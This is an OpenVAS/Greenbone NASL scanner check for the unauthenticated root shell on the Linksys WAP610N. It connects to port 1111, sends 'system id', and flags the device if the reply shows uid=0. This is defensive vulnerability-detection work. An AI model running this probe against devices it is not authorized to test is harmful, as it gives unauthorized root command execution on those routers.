Linksys WAP610N Unauthenticated Root Access Security Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only


if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103080");
  script_version("2023-07-28T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-02-18 16:40:55 +0100 (Fri, 18 Feb 2011)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_name("Linksys WAP610N Unauthenticated Root Access Security Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46305");
  script_xref(name:"URL", value:"http://www.linksysbycisco.com/APAC/en/home");
  script_xref(name:"URL", value:"http://www.securenetwork.it/ricerca/advisory/download/SN-2010-08.txt");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Gain a shell remotely");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("find_service.nasl");
  script_require_ports(1111);
  script_tag(name:"summary", value:"The Linksys WAP610N is prone to a security vulnerability that allows
unauthenticated root access.

An attacker can exploit this issue to gain unauthorized root access to
affected devices. Successful exploits will result in the complete
compromise of an affected device.

Linksys WAP610N firmware versions 1.0.01 and 1.0.00 are vulnerable.
Other versions may also be affected.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

include("telnet_func.inc");

port = 1111;
if(!get_port_state(port))exit(0);

soc = open_sock_tcp(port);
if(!soc)exit(0);

telnet_negotiate(socket:soc);

send(socket:soc, data:string("system id\r\n"));
buf = recv(socket:soc, length:512);

close(soc);

if(egrep(pattern:"uid=0.*gid=0",string:buf)) {

  security_message(port:port);
  exit(0);
}

exit(0);